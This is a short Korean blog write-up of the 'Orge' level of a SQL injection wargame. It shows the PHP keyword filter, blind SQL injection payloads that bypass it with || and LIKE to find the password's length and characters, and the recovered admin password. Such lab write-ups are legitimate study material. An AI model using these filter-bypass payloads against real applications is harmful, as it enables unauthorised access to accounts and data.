반응형
7.Orge 풀이.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
기존 blind 문제에서 or and를 사용못하게 된 문제.
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
if(($result['pw'])&&($result['pw'] == $_GET['pw'])) solve("orge");
admin의 pw를 찾는 blind sql injection 문제.
즉 and(&&), or(||)만 바꿔서 사용하면 될 거 같다.
일단 pw의 길이부터 확인해본다.
?pw=0'||LENGTH(pw)='0 부터 숫자를 하나씩 올린다.
길이는 8. 길이가 8일 동안 blind sql injection.
LIKE가 필터링이 안 된 걸 봐서는 LIKE 써도 되고, substr도 되고, RIGHT랑 LEFT를 써도 된다.
가장 익숙한 LIKE를 쓰겠다.
?pw=0' || pw LIKE '0%
이렇게 임의로 노가다를 하니까 admin의 password 값이 '6c864dec' 라는 것을 알았다.
주소창에 입력해본다.
Cf) 이게 비슷한 문제가 전에도 있었지만 이렇게 노가다로 풀어도 되고, mysql을 사용하거나, 파이썬으로 풀어도 된다.
차후에 다른 방법도 올리도록 하겠다.
반응형
'# Related site issues > LOS' 카테고리의 다른 글
9.Vampire. (0) | 2018.05.07 |
---|---|
8.Troll. (0) | 2018.05.07 |
6.Darkelf. (0) | 2018.05.07 |
5.Wolfman. (0) | 2018.05.07 |
4.Orc. (0) | 2018.05.06 |